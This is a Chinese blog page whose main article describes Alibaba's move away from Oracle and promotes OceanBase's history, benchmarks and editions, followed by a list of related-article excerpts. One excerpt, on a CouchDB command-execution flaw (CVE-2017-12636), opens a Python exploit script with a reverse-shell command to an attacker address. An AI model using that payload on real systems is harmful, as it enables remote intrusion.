当前位置: 首页 > news >正文

阿里是如何去“O”的?

大家好,我是老猫,猫头鹰的“猫”。

今天我们来聊聊数据库这个话题。

2009年,阿里提出“去IOE化”的概念,这在当时看起来是天方夜谭,但目前来看可以说是"轻舟已过万重山"。

IOE是传统IT三大件,指以IBM、Oracle、EMC为代表的小型机、集中式数据库和高端存储的技术架构。

Image

今天我们不聊了去"IOE",我们想聊聊阿里是如何去"O"的?

▉ "O"为什么一定要去?

我们都知道,去"IOE"的一个重要考虑是信息安全,但是抛去这个信息安全,其实随着互联网基础架构的发展,也需要传统的集中式"O"作出改变。

其实,互联网架构的演变都符合一个趋势--基本都是从最容易的、相对无状态的应用层开始做起。因为瓶颈出现以后,应用层是最容易改造的,面对更多的需求,更多的数据,更快的迭代速度。

一般情况下,应用层的解题思路就是从单体应用走向服务化拆分,再慢慢向云原生化演进,由于应用大部分是无状态的,这样整个演进的风险是相对可控的。

Image

随着业务的发展,架构的压力很快从应用层传导到了 IaaS 层,涉及到芯片、存储、服务器等,这些最底层 IaaS 虽然是有状态的,存储着关键的数据,但都离业务比较远,跟 PaaS 相比,跟应用间的关系更加弱耦合,基本都是通过标准接口进行交互,而且云和新的存储、芯片和网络层的发展并没有太多改变标准。所以,在数字化转型过程中,这一层基本能够在不影响上层业务的同时,相对"透明无感"升级到云底座,换上自主可控的芯片和服务器,为上层提供更强大的弹性算力和更高资源利用率的虚拟化能力。

当 SaaS 层或者说应用层改变了,IaaS 层也升级了,剩下最难啃的骨头就在 PaaS 了,这一层的基础设施既与业务相关,又是有状态的,往上需要承接应用层分拆后的分布式化的数据通讯和运维管控,往下有云底座后需要适配云原生方向发展。

而 PaaS 层中最难升级就是数据库,无论是与应用的耦合度还是状态数据的重要性,都给架构升级带来了巨大挑战。

Image

举个例子,随着互联网的发展,现代应用处理的数据量更大,也会经常面对脉冲业务的冲击,应用架构通过服务化架构和容器技术具备了更大的数据处理能力和弹性伸缩能力,从而间接要求数据库具备海量数据处理能力和弹性伸缩能力,同时业务的分布式和垂直拆分会要求数据库也是分布式的,但分布式有状态数据如何保证一致性,又如何应对大量数据库实例管理的复杂度,这在传统集中式数据库的架构上是极大的挑战。

另外,在分布式架构下 PC Server 的可靠性降低但数量变多,这"一降一多"极大的放大故障概率,而现代应用需要提供在线服务,对业务连续的要求只会变得更高,传统数据库依赖特定的高可用硬件来应对可靠性要求的方案已经难以为继。

所有这些新的问题表明,互联网时代的架构已经无法用传统的数据架构和思路来解决这些新问题了。如果还是治标不治本,通过外挂或者各种外部软件和数据库软件拼装组合的方式来应对这些复杂问题,只会让复杂度和风险变得更高。

Image

因此,要构建现代应用架构的摩天大厦必须彻底重构数据架构的地基。

▉ 互联网浪潮 催生原生分布式数据库

数据库系统的萌芽出现于20世纪60年代。当时计算机开始广泛地应用于数据管理,对数据的共享提出了越来越高的要求。传统的文件系统已经不能满足人们的需要。能够统一管理和共享数据的数据库管理系统(DBMS)应运而生。

随着关系模型有了完善的理论支撑后,以Oracle、DB2到SQL Server为代表的数据库开始在各大企业中应用,商业数据库迎来了第一波高速发展。

Image

但关系数据库有一个比较大的问题就是贵,只有那些比较大的企业才能用得起数据库,对于一些中小企业来说,随着业务的增长,也急需要一款能用的数据库出现,于是MySQL、PostgreSQL 等数据库以开源、免费和简化版的形态推动了数据库历史上第二波更加广泛而影响深远的发展,形成了数据库发展的第二波浪潮。

但直到 1996 年后,OLTP 领域再也没有新的主流数据库出现。

这是什么原因呢?因为在使用场景上并没有形成代际跃迁的变化,也就没法对现有数据库的能力和架构产生太大的推动力。直到以中国、美国为代表的区域迎来了第一波 PC 互联网到移动互联网的高速爆发,也就是在这之后,数据库领域慢慢开始有了新的变化,而比较有意思的是,这波移动互联网的变革,中国比美国跑得更快、更彻底,也更快地推动了大量技术的发展甚至是变革。

Image

2000 年左右,基础架构还没有反应过来,从应用层到中间件层开始解决集中式解决不了的问题,以 Cobar,MyCAT 为代表的中间件方案的分布式架构出现。一直到 2010 年左右,以 Google Spanner、 OceanBase 等为代表的原生分布式架构出现,陪伴互联网高速发展的十余年,产品逐渐打磨成熟并开始商业化。

说完了阿里去"O"的外部原因,下面我们就来聊聊阿里内部是如何研发数据库的。

 坚持自研 阿里打造"硬核"数据库

"O"指的就是 Oracle 关系数据库,要想真正做到去"O",这代表着阿里在底层数据库需要重新考虑设计或开发。之所以提出这一理念是阿里深思熟虑后的结果。当时,正值中国互联网发展的高峰,传统数据库产品越来越难以适应用户的需求,去中心化、分布式架构已经成为发展趋势。

阿里这一理念虽然符合当时IT发展趋势,但是在当时看来挑战无疑非常大。要知道早在2007年,淘宝网日均PV就达到2.5亿个,商品数超过一亿个,全网成交额就达到四百多亿元。在当时,如何解决这些海量数据成为阿里面临的重要挑战。

当时,摆在技术团队面前有两条路,一条是基于开源,这种方式门槛儿低,起步更快;另一条是完全自研,从零起研发出一套能够满足淘宝业务需求的数据库产品。相比较而言,从难易程度来说,基于开源无疑是一个简单且见效快的方式。但经过深入研讨后,团队认为,要想从根本上解决数据库的问题,还是需要打破原来的架构完全重写,于是就有了-- OceanBase。

Image

刚开始的时候OceanBase团队举步维艰。在当时自研分布式框架的时候,团队遇到了多变的需求以及复杂的场景,但也正是这种挑战让 OceanBase 得到了快速发展和完善。"逢山开路、遇水搭桥"是对当时整个团队工作最好的形容。

正是在前期采用了自主研发,让技术团队对代码有了完全的掌控力和掌控权,这是 OceanBase 最大的底气,也是 OceanBase 厚积薄发的根基。在过去的十多年, OceanBase 不断被打磨,从互联网支付核心到全场景金融核心,再到政企民生、运营商核心场景,以及新零售和新制造的核心场景,不断突破、创新,形成了逐渐成熟的 OceanBase。

在今年11 月 16 日,OceanBase 发布了一体化数据库的首个长期支持版本 OceanBase  4.2.1 LTS,相比 3.2.4 LTS 版本,在兼容性、性能、容灾能力、易用性等方面均有大幅度提升。如今,OceanBase 产品从最初的 1.x 发展到今天的 4.x,能力得到了飞跃式的发展,但 OceanBase 团队在研发过程中一直聚焦到"关键业务负载",并持续在高性能、高可靠、高兼容和高性价等四个维度进行持续突破和深度打磨。

Image

如今,OceanBase 代码行数超过300万行,获得超过200项授权发明专利,主导和参与了十多项国家/行业标准。OceanBase 最为人知的是近年来在"数据库世界杯"上的表现。2020年在国际联机事务处理基准测试(TPC-C)中获得7.07亿tpmC,成为世界第一,2021年在国际联机分析处理基准测试(TPC-H)中获得1,526万QphH@30,000GB,再破世界记录,中国分布式数据库弯道超车。

同时,在尚未为人熟知的那些性能指标,OceanBase 在不断提升。比如,高压缩比的分布式数据库存储技术,可以解决了集中式数据库无法平衡"性能"和"压缩"的难题,显著降低了数据存储成本。异构数据库平滑迁移技术体系,也可以最大程度降低了现有系统的扩展、迁移改造成本,等等。这些产品的基本功,是 OceanBase 最大的核心竞争力和投入最大的方向。

▉ 一体化满足用户"既要又要还要

随着互联网的发展,背后产生的数据越来越多,据统计,截止2022年底我国数据存储量已达724.5EB,这意味着如今数据量的"大"和40年前Oracle诞生时理解的"大",早已不在一个量级。而且随着越来越多的企业用户的涌入,很多企业数据库不仅要大,更要小,弹性伸缩的能力成为对数据库性能的一项核心考验。

面向业务负载挑战,OceanBase 创新性的一体化产品战略应运而生--用一体化解决数据库的使用复杂度,目的是实现一个数据库解决 80% 的问题。它可以"一套系统,就能实现从单机到分布式对用户完全透明,同时业务可大可小,平滑压缩"。

为了实现一体化产品战略,OceanBase 足足花费了两年多的时间完成了技术讨论和总体架构的设计,并在2020年年中左右开始做详细设计和代码开发,再经过两年多的时间才在2022年8月份发布了第一个 OceanBase 4.0版本,代号"小鱼"。可以说,4.0版本奠定了单机分布式一体化架构的底座。

Image

单机分布式一体化架构数据库的出现,为 OceanBase 打开了新的商业化思路。分布式数据库是大型企业的核心业务负载过重,集中式数据库性能无法满足时的产物,但小鱼的出现,让中小企业得以在业务早期就可灵活选择,并为后续业务体量爆发做准备,不必经历大规模迁移的过程。

但需要注意的是,OceanBase 一体化思路并不是指"一款产品打天下",而是一个兼具易用性和实用性的解决方案。OceanBase 认为,在企业的绝大部分数据处理场景中,只要成本合理,这些都是必须的能力,OceanBase 希望能在这个强劲的底座上,尽可能满足 80% 的需求。但在极其专业的场景,还是需要用专门的数据引擎。就像今天的智能手机,可以很好地满足普通人对电话、聊天、游戏、听音乐和看电影的需求,但是针对一些专业用户,专业的游戏机是更好的选择,电影院是更好的选择。

Image

其实,从 OceanBase 整个演进来看,"一体化"的设计就是 OceanBase 产品的 DNA,如上图,从外围试点到核心完全替代就是OceanBase 一体化的进程,可以说,OceanBase 都在用"一体化"的方式来解决问题。未来 OceanBase 将持续践行"一体化"的产品战略,用"一体化"的架构解决分布式数据库的使用复杂问题,用"一体化"的产品满足 80% 的客户需求,持续打造能够承载"关键业务负载"的分布式数据库。

Image

正是由于OceanBase 在产品方面的"精雕细琢",让 OceanBase 在IDC 发布《IDC MarketScape:中国分布式关系型数据库 2023 年厂商评估》报告中位列"领导者"类别。同时报告认为,作为一款原生分布式数据库,OceanBase在产品能力上表现突出,处于第一的地位。2022年发布的单机分布式一体化的产品更突破了集中式与分布式关系型数据库的场景隔离,用一个数据库产品伴随客户业务成长。

▉ 成千行百业客户首选

随着云计算、大数据、人工智能等新兴技术的发展,也对数据库产品提出了更高要求。云数据库成为新的市场热点,因此,在2022年,在原有企业版、社区版两个版本基础上,OceanBase 推出多基础设施的一体化数据库--云数据库OB Cloud,从而惬意用户面向不同场景可以使用不同版本的 OceanBase。

Image

首先,我们来看下企业版,OceanBase 企业版是面向核心系统升级的理想选择,OceanBase 具有自主研发、稳定可靠、技术领先、高安全性、平滑迁移等五大特性。可以为头部金融机构提供异地多活单元化的完整分布式架构方案,也可以为中小机构提供偏向保留集中使用模式的无侵蚀的一站式方案。同时,也提供丰富的 ISV 适配和完整的培训体系,让更依赖外部厂商的中小机构,应对未来大规模使用后顾无忧。

第二,OB Cloud云数据库,OB Cloud具备五大特性:第一个是多级弹性扩缩容,弹性比普通的云上数据库的垂直水平扩展,非常灵活;第二在企业角度,可以大量客户希望降本, TCO 相比通用 RDS 降低 30% 以上,为海量数据的规模化降本提供更出色的选择。此外,OceanBase 还有领先的业务连续性、HTAP 实时分析等能力。这些特性无论是在云上还是云下,还是不同的云基础设施,OceanBase 都可以支持。

目前为止,截止目前已可在美洲、欧洲、亚洲三大洲的30个可用区提供服务,支持亚马逊云、阿里云、腾讯云等六大公有云基础设施。正是因为在云数据的出色表现,在Gartner发布最新报告《Magic Quadrant for Cloud Database Management Systems》(全球云数据库管理系统魔力象限),OceanBase 仅推出其云数据库一年就入选"荣誉提及",也从侧面证明了OceanBase 在全球的影响力。

第三,就是 OceanBase 社区版,社区版的目标就是为现代数据架构打造"增强版 MySQL",正是因为有这样的开放性,已经有越来越多的企业用来去解决 MySQL 无法解决的问题。OceanBase 目前拥有非常庞大的社区,不仅仅面向 OceanBase 的社区版,而是面向所有 OceanBase 的用户,相信很多企业版的客户也在用。

与此同时,OceanBase 一直积极在参与人才的培养,OceanBase 跟大量的高校建立了合作,孵化出的"数据库大赛"里用的 MiniOB 已经支持 20 多家学校的数据库实验教学实践,触达了 5000 多名的学生。今年,在办的第三届 OceanBase 数据库大赛,已经升级为国赛,现在已经有 200 多家高校的学生参与,这次还有海外的学生报名。

三个版本面向不同应用场景,可以更好的覆盖住目前市场上大多数业务场景需求,这也让 OceanBase 在迎来了快速发展。据了解,三年前 OceanBase 只有 18 个客户,现在已经有 1000 余家客户携手同行;而且相比于三年前,大家可能只敢用在周边系统,到现在越来越多客户敢用在核心系统,如今很多客户已经选择 All in OceanBase。尤其在金融行业,资产规模达到千亿以上的银行有100多家,OceanBase 覆盖了70%;在证券、保险、基金行业的头部 Top20 资产规模企业中,OceanBase 的覆盖率也非常高,分别达到75%、65%、45%。根据赛迪顾问《2022-2023 年中国平台软件市场研究年度报告》、《中国金融业数据库市场研究报告》显示,核心系统升级中 OceanBase 在金融行业处于第一。

Image

随着客户数的增加,OceanBase 发现出现了大量高频重复的场景以及共性需求。所以,在服务上,OceanBase 今年也做了迭代升级,推出了基于场景的服务,为此适配了更多产品。随着客户用到深水区,要的是更多高阶的咨询能力,OceanBase 在这个方向已经投入了更多人,但是远远不够,明年 OceanBase 还会在这个方向继续增强。

▉ 最后总结

从 OceanBase发展过程我们可以归纳为三个重要阶段:

  • 第一阶段,OceanBase 更多是用在阿里巴巴及蚂蚁集团内部的互联网场景上,从非金融到金融核心场景,慢慢把数据量很大但 SQL 并不复杂的简单 OLTP 场景完成了分布式改造,而且严格做到了集中数据库的 ACID 特性。

  • 第二阶段,在简单的 OLTP 之上增加大量传统的 OLTP,数据量比较小,但 SQL 很复杂,有存储过程,大量复杂的函数和嵌套查询,有很多大事务,长事务,海量分区甚至各种外表的关联读写。同时,传统场景在数据量没有那么大时, OLTP 和 OLAP 的边界没有太明确的区分,所以开始增加简单的 OLAP 能力,提供在线数据上的复杂查询能力。

  • 第三阶段,开始承载更多通用场景、通用业务,更多中长尾的应用开始使用  OceanBase。各种场景的打磨下,OceanBase 由此进化到 4.x 版本,也是业内首个单机分布式一体化数据库产品,适用于更广阔的场景。

需要说明的是,并不是说第一个阶段适用于互联网场景,第二个阶段适用于传统场景,第三个阶段适用于通用场景,而是相互叠加的,1.x 版本的能力是基础,2.x 和 3.x 之上再构架了 4.x 版本,层层叠加,能力不断增强,适用边界不断拓宽。

人们常说"十年磨一剑",而 OceanBase 在过去13年间一直在坚持把分布式数据库做好,同时深入参与移动互联网的浪潮,在金融、支付、电商、游戏、直播等场景中,打磨了最好的产品能力。正是这13年的实践之路,减少了 OceanBase 与国际对手的能力差距,也收获了超1000家客户的"信任"。

在接下来的日子,OceanBase 将继续坚持自研,持续创新硬核科技能力。OceanBase 期待与每一位同行者,一起努力为"关键业务负载"打磨越来越好的"一体化"数据库,从而助力企业跨越数字化转型深水区,走出国门,走向全球。

END

相关文章:

阿里是如何去“O”的?

大家好,我是老猫,猫头鹰的“猫”。 今天我们来聊聊数据库这个话题。 2009年,阿里提出“去IOE化”的概念,这在当时看起来是天方夜谭,但目前来看可以说是"轻舟已过万重山"。 IOE是传统IT三大件,…...

蓝桥杯备赛 day 1 —— 递归 、递归、枚举算法(C/C++,零基础,配图)

目录 🌈前言 📁 枚举的概念 📁递归的概念 例题: 1. 递归实现指数型枚举 2. 递归实现排列型枚举 3. 递归实现组合型枚举 📁 递推的概念 例题: 斐波那契数列 📁习题 1. 带分数 2. 反硬币 3. 费解的…...

87 双指针解验证回文字符串II

问题描述:简单给定一个非空字符串s,最多删除一个字符,判断是否成为回文字符串。 双指针解法:指针1指向开头,指针2指向结尾,定义一个count记录不满足回文串的数量,若超过1,则返回fal…...

【排序算法】【二叉树】【滑动窗口】LeetCode220: 存在重复元素 III

作者推荐 【二叉树】【单调双向队列】LeetCode239:滑动窗口最大值 本文涉及的基础知识点 C算法&#xff1a;滑动窗口总结 题目 给你一个整数数组 nums 和两个整数 indexDiff 和 valueDiff 。 找出满足下述条件的下标对 (i, j)&#xff1a; i ! j, abs(i - j) < indexDi…...

OS 7--DNS配置+Apache发布网站

环境准备 centOS 7 1.配置DNS 1.1 域名为lianxi.com 1.2 为WWW服务器、FTP服务器、NEWS服务器做域名解析 1)安装DNS yum -y install bind bind-utils (如果安装不上&#xff0c;就把磁盘在重洗挂载一下&#xff09; 2&#xff09;修改DNS配置文件 vim /etc/resolv.conf…...

1月2日代码随想录二叉树的最小深度及层序遍历总结

个人认为这么一个层序遍历的章节放这么多基本一样的题目算是很没意思的了 填充每个节点的下一个右侧节点和二叉树最大深度和前面的代码几乎完全一样&#xff0c;所以我就跳过了 代码随想录 (programmercarl.com) 代码随想录 (programmercarl.com) 111.二叉树的最小深度 给…...

RK3568平台开发系列讲解(Linux系统篇)PWM系统编程

🚀返回专栏总目录 文章目录 一、什么是PWM二、PWM相关节点三、PWM应用编程沉淀、分享、成长,让自己和他人都能有所收获!😄 📢本篇将介绍 PWM 的系统编程。 一、什么是PWM PWM,即脉冲宽度调制(Pulse Width Modulation)...

Linux CPU 数据 Metrics 指标解读

过去从未仔细了解过使用 top 和 htop 等命令时显式的CPU信息&#xff0c;本文我们详解解读和标注一下各个数据项的含义&#xff0c;同时和 Ganglia 显式的数据做一个映射。开始前介绍一个小知识&#xff0c;很多查看CPU的命令行工具都是 cat /proc/stat 里的数据&#xff0c;所…...

Ansible自动化运维(一)简介及部署、清单

&#x1f468;‍&#x1f393;博主简介 &#x1f3c5;云计算领域优质创作者   &#x1f3c5;华为云开发者社区专家博主   &#x1f3c5;阿里云开发者社区专家博主 &#x1f48a;交流社区&#xff1a;运维交流社区 欢迎大家的加入&#xff01; &#x1f40b; 希望大家多多支…...

深度学习MLP_实战演练使用感知机用于感情识别_keras

目录 &#xff08;1&#xff09;why deep learning is game changing?&#xff08;2&#xff09;it all started with a neuron&#xff08;3&#xff09;Perceptron&#xff08;4&#xff09;Perceptron for Binary Classification&#xff08;5&#xff09;put it all toget…...

[ffmpeg系列 02] 音视频基本知识

一 视频 RGB&#xff1a; AV_PIX_FMT_RGB24, ///< packed RGB 8:8:8, 24bpp, RGBRGB… Y&#xff1a;明亮度, Luminance或luma, 灰阶图&#xff0c; UV&#xff1a;色度&#xff0c;Chrominance或Chroma。 YCbCr: Cb蓝色分量&#xff0c;Cr是红色分量。 取值范围&#xff…...

【ASP.NET Core 基础知识】--目录

介绍 1.1 什么是ASP.NET Core1.2 ASP.NET Core的优势1.3 ASP.NET Core的版本历史 环境设置 2.1 安装和配置.NET Core SDK2.2 使用IDE&#xff08;Integrated Development Environment&#xff09;&#xff1a;Visual Studio Code / Visual Studio 项目结构 3.1 ASP.NET Core项…...

java数据结构与算法刷题-----LeetCode509. 斐波那契数

java数据结构与算法刷题目录&#xff08;剑指Offer、LeetCode、ACM&#xff09;-----主目录-----持续更新(进不去说明我没写完)&#xff1a;https://blog.csdn.net/grd_java/article/details/123063846 很多人觉得动态规划很难&#xff0c;但它就是固定套路而已。其实动态规划只…...

vue3 element plus el-table封装(二)

上文是对el-table的基本封装&#xff0c;只能满足最简单的应用&#xff0c;本文主要是在上文的基础上增加slot插槽&#xff0c;并且对col插槽进行拓展&#xff0c;增加通用性 // BaseTable.vue <template><el-table><template v-for"name in tableSlots&…...

cnn lstm结合网络

目录 特征处理例子&#xff1a; cnn 5张图片一组&#xff0c;提取特征后&#xff0c;再给lstm&#xff0c;进时间序列分类。 特征处理例子&#xff1a; import torch# 假设 tensor 是形状为 15x64 的张量 tensor torch.arange(15 * 2).reshape(15, 2) # 生成顺序编号的张量&…...

Ubuntu连接xshell

安装ssh服务器 sudo apt-get install openssh-server​ 重启ssh sudo service ssh restart 3.启动ssh服务 /etc/init.d/ssh start4.修改文件&#xff0c;允许远程登陆 sudo vi /etc/ssh/sshd_config PermitRootLogin prohibit-password #默认为禁止登录 PermitRootLogin y…...

nginx安装和配置

目录 1.安装 2.配置 3.最小配置说明 4. nginx 默认访问路径 1.安装 使用 epel 源安装 先安装 yum 的扩展包 yum install epel-release -y 再安装 nginx yum install nginx -y 在启动nginx 前先关闭防火墙 systemctl stop firewalld 取消防火墙开机自启 systemctl di…...

【头歌实训】kafka-入门篇

文章目录 第1关&#xff1a;kafka - 初体验任务描述相关知识Kafka 简述Kafka 应用场景Kafka 架构组件kafka 常用命令 编程要求测试说明答案代码 第2关&#xff1a;生产者 &#xff08;Producer &#xff09; - 简单模式任务描述相关知识Producer 简单模式Producer 的开发步骤Ka…...

华为云创新中心,引领浙南的数字化腾飞

编辑&#xff1a;阿冒 设计&#xff1a;沐由 县域经济是我国国民经济的重要组成部分&#xff0c;是推动经济社会全面发展的核心力量之一。在推进中国式现代化的征程中&#xff0c;县域经济扮演的角色也越来越重要。 毫无疑问&#xff0c;县域经济的良性发展&#xff0c;需要多方…...

240101-5步MacOS自带软件无损快速导出iPhone照片

硬件准备&#xff1a; iphone手机Mac电脑数据线 操作步骤&#xff1a; Step 1: 找到并打开MacOS自带的图像捕捉 Step 2: 通过数据线将iphone与电脑连接Step 3&#xff1a;iphone与电脑提示“是否授权“&#xff1f; >>> “是“Step 4&#xff1a;左上角选择自己的设…...

github鉴权失败

问题&#xff1a; 如上图所示 git push 时发生了报错&#xff0c;鉴权失败&#xff1b; 解决方案 Settings->Developer settings->Personal access tokens->Generate new token。创建新的访问密钥&#xff0c;勾选repo栏&#xff0c;选择有效期&#xff0c;为密钥命…...

2023湾区产城创新大会:培育数字化供应链金融新时代

2023年12月26日&#xff0c;由南方报业传媒集团指导&#xff0c;南方报业传媒集团深圳分社主办的“新质新力——2023湾区产城创新大会”在深圳举行。大会聚集里国内产城研究领域的专家学者以及来自产业园区、金融机构、企业的代表&#xff0c;以新兴产业发展为议题&#xff0c;…...

多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测

多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测 目录 多维时序 | MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 1.MATLAB实现SSA-GRU麻雀算法优化门控循环单元多变量时间序列预…...

二叉树的前序遍历 、二叉树的最大深度、平衡二叉树、二叉树遍历(leetcode)

目录 一、二叉树的前序遍历 方法一&#xff1a;全局变量记录节点个数 方法二&#xff1a;传址调用记录节点个数 二、二叉树的最大深度 三、平衡二叉树 四、二叉树遍历 一、二叉树的前序遍历 方法一&#xff1a;全局变量记录节点个数 计算树的节点数: 函数TreeSize用于递…...

SQL之CASE WHEN用法详解

目录 一、简单CASE WHEN函数&#xff1a;二、CASE WHEN条件表达式函数三、常用场景 场景1&#xff1a;不同状态展示为不同的值场景2&#xff1a;统计不同状态下的值场景3&#xff1a;配合聚合函数做统计场景4&#xff1a;CASE WHEN中使用子查询场景5&#xff1a;经典行转列&am…...

Ubuntu 18.04搭建RISCV和QEMU环境

前言 因为公司项目代码需要在RISCV环境下测试&#xff0c;因为没有硬件实体&#xff0c;所以在Ubuntu 18.04上搭建了riscv-gnu-toolchain QEMU模拟器环境。 安装riscv-gnu-toolchain riscv-gnu-toolchain可以从GitHub上下载源码编译&#xff0c;地址为&#xff1a;https://…...

立足兴趣社交赛道,Soul创新在线社交元宇宙新玩法

近年来,元宇宙概念在全球范围内持续升温,众多企业巨头纷纷加入这场热潮。在一众社交平台中,Soul App凭借其独特的创新理念和技术支撑,致力于打造以Soul为链接的社交元宇宙,成为年轻人心目中的社交新宠。作为新型社交平台的代表,Soul坚持以“不看颜值,看兴趣”为核心,以及持续创…...

Couchdb 任意命令执行漏洞(CVE-2017-12636)

一、环境搭建 二、访问 三、构造payload #!/usr/bin/env python3 import requests import json import base64 from requests.auth import HTTPBasicAuth target http://192.168.217.128:5984 # 目标ip command rb"""sh -i >& /dev/tcp/192.168.217…...

VectorWorks各版本安装指南

VectorWorks下载链接 https://pan.baidu.com/s/1q2WWbePfo-VaGpPtgoWCUQ?pwd0531 1.鼠标右击【VectorWorks 2023(64bit)】压缩包&#xff08;win11及以上系统需先点击“显示更多选项”&#xff09;选择【解压到 VectorWorks 2023(64bit)】。 2.打开C盘路径地址【c:\windows\…...

【MySQL】数据库中为什么使用B+树不用B树

&#x1f34e;个人博客&#xff1a;个人主页 &#x1f3c6;个人专栏&#xff1a; 数 据 库 ⛳️ 功不唐捐&#xff0c;玉汝于成 目录 前言 正文 B树的特点和应用场景&#xff1a; B树相对于B树的优势&#xff1a; 结论&#xff1a; 结语 我的其他博客 前言 在数据…...

微信小程序发送模板消息-详解【有图】

前言 在发送模板消息之前我们要首先搞清楚微信小程序的逻辑是什么&#xff0c;这只是前端的一个demo实现&#xff0c;建议大家在后端处理&#xff0c;前端具体实现&#xff1a;如下图 1.获取小程序Id和密钥 我们注册完微信小程序后&#xff0c;可以在开发设置中看到以下内容&a…...

Easy Rules规则引擎实战

文章目录 简介pom 规则抽象规则Rule基础规则BasicRule事实类Facts&#xff1a;map条件接口动作接口 四种规则定义方式注解方式RuleBuilder 链式Mvel和Spel表达式Yml配置 常用规则类DefaultRuleSpELRule&#xff08;Spring的表达式注入&#xff09; 组合规则UnitRuleGroup 规则引…...

听GPT 讲Rust源代码--library/alloc(2)

File: rust/library/alloc/src/vec/mod.rs 在Rust源代码中&#xff0c;rust/library/alloc/src/vec/mod.rs这个文件是Rust标准库中的Vec类型的实现文件。Vec是一个动态大小的数组类型&#xff0c;在内存中以连续的方式存储其元素。 具体来说&#xff0c;mod.rs文件中定义了以下…...

OSG读取和添加节点学习

之前加载了一个模型&#xff0c;代码是&#xff0c; osg::Group* root new osg::Group(); osg::Node* node new osg::Node(); node osgDB::readNodeFile("tree.osg"); root->addChild(node); root是指向osg::Group的指针&#xff1b; node是 osg:…...

计算机网络技术--念念

选择题&#xff1a; 1.只要遵循GNU通用公共许可证,任何人和机构都可以自由修改和再发布的操作系统是&#xff08;Linux &#xff09; 2.在计算机网络的各种功能中,最基本的、为其他功能提供实现基础的是&#xff08;实现数据通信 &#xff09; 3.计算机网络具有分布式处理功能,…...

C#_var

文章目录 一、前言二、隐式类型的局部变量2.1 var和匿名类型2.2 批注 三、总结 一、前言 C#中有一个 var 类型&#xff0c;不管什么类型的变量&#xff0c;都可以用它接收&#xff0c;实属懒人最爱了。 我没有了解过它的底层&#xff0c;甚至没看过它的说明文档&#xff0c;也…...

Linux---进程控制

一、进程创建 fork函数 在Linux中fork函数是非常重要的函数&#xff0c;它从已存在进程中创建一个新进程&#xff0c;原进程为父进程 fork函数的功能&#xff1a; 分配新的内存和内核数据结构给子进程将父进程部分数据结构内容拷贝至子进程添加子进程到系统的进程列表中fork返…...

Java注解学习,一文掌握@Autowired 和 @Resource 注解区别

&#x1f3c6;作者简介&#xff0c;普修罗双战士&#xff0c;一直追求不断学习和成长&#xff0c;在技术的道路上持续探索和实践。 &#x1f3c6;多年互联网行业从业经验&#xff0c;历任核心研发工程师&#xff0c;项目技术负责人。 &#x1f389;欢迎 &#x1f44d;点赞✍评论…...

系列一、如何正确的获取Spring Cloud Alibaba Spring Cloud Spring Boot之间的版本对应关系

一、正确的获取Spring Cloud Alibaba & Spring Cloud & Spring Boot之间的版本对应关系 1.1、概述 Java发展日新月异&#xff0c;Spring Cloud Alibaba 、 Spring Cloud 、 Spring Boot在GitHub上的迭代也是异常的频繁&#xff0c;这也说明其社区很活跃&#xff0c;通…...

数据预处理:标准化和归一化

标准化和归一化简介 1、数据预处理概述2、数据标准化3、数据归一化4、标准化和归一化怎么选1、数据预处理概述 在选择了合适模型的前提下,机器学习可谓是“训练台上3分钟,数据数量和质量台下10年功”。数据的收集与准备是机器学习中的重要一步,是构建一个好的预测模型大厦的…...

Node.js+Express 路由配置,实现接口分类管理

首先创建一个路由目录及文件 routes/user.js代码 const express require(express); const router express.Router(); // 使用express提供的router对象 const db require(../dbserver/mysql);router.get(/api/user, (req, res) > {const sqlStr SELECT * FROM sys_user;…...

HTML-基础知识-基本结构,注释,文档说明,字符编码(一)

1.超文本标记语言不分大小写。 2.超文本标签属性名和属性值不区分大小写。 3.超文本标签属性值重复&#xff0c;听取第一个。 4.html结构 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"vi…...

《系统架构设计师教程(第2版)》第3章-信息系统基础知识-05-专家系统(ES)

文章目录 1. 先了解人工智能2.1 人工智能的特点2.2 人工智能的主要分支2. ES概述2.1 概述2.2 和一般系统的区别1)第一遍说了5点(理解为主)2)第二遍说的3点(主要记这个)3. ES的特点4. ES的组成4.1 知识库4.2 综合数据库4.3 推理机4.4 知识获取模块4.5 解释程序4.6 人一机接…...

OSCHINA Gitee 联合呈现,《2023 中国开源开发者报告》正式发布,总结分非常帮,可以免费看的报告!

《2023 中国开源开发者报告》 详细地址&#xff1a; https://talk.gitee.com/report/china-open-source-2023-annual-report.pdf 不需要收费下载&#xff01;&#xff01; 其中大模型的部分总结的非常棒 gietee 也支持 AI 模型托管了 如何在 Gitee 上托管 AI 模型 https://…...

代码随想Day55 | 392.判断子序列、115.不同的子序列

392.判断子序列 第一种思路是双指针&#xff0c;详细代码如下&#xff1a; class Solution { public:bool isSubsequence(string s, string t) {//双指针if(s.empty()&&t.empty()) return true;int i0,j0;while(i<t.size()){if(s[j]t[i]) j;if(js.size()) return t…...

电缆厂 3D 可视化管控系统 | 图扑数字孪生

图扑软件(Hightopo)专注于 Web 的 2D&3D 可视化&#xff0c;自主研发 2D&3D 图形渲染引擎、数据孪生应用开发平台和开发工具&#xff0c;广泛应用于 2D&3D 可视化、工业组态与数字孪生领域&#xff0c;图扑软件为工业物联网、楼宇、场馆、园区、数据中心、工厂、电…...

C语言之scanf浅析

前言&#xff1a; 当有了变量&#xff0c;我们需要给变量输入值就可以使用scanf函数&#xff0c;如果需要将变量的值输出在屏幕上的时候可以使用printf函数&#xff0c;如&#xff1a; #include <stdio.h> int main() {int score 0;printf("请输⼊成绩:");sc…...

Java商城 免 费 搭 建:鸿鹄云商实现多种商业模式,VR全景到SAAS,应有尽有

鸿鹄云商 b2b2c产品概述 【b2b2c平台】&#xff0c;以传统电商行业为基石&#xff0c;鸿鹄云商支持“商家入驻平台自营”多运营模式&#xff0c;积极打造“全新市场&#xff0c;全新 模式”企业级b2b2c电商平台&#xff0c;致力干助力各行/互联网创业腾飞并获取更多的收益。从消…...

Cypress安装与使用教程(3)—— 软测大玩家

&#x1f60f;作者简介&#xff1a;博主是一位测试管理者&#xff0c;同时也是一名对外企业兼职讲师。 &#x1f4e1;主页地址&#xff1a;【Austin_zhai】 &#x1f646;目的与景愿&#xff1a;旨在于能帮助更多的测试行业人员提升软硬技能&#xff0c;分享行业相关最新信息。…...

Dryad数据库学习

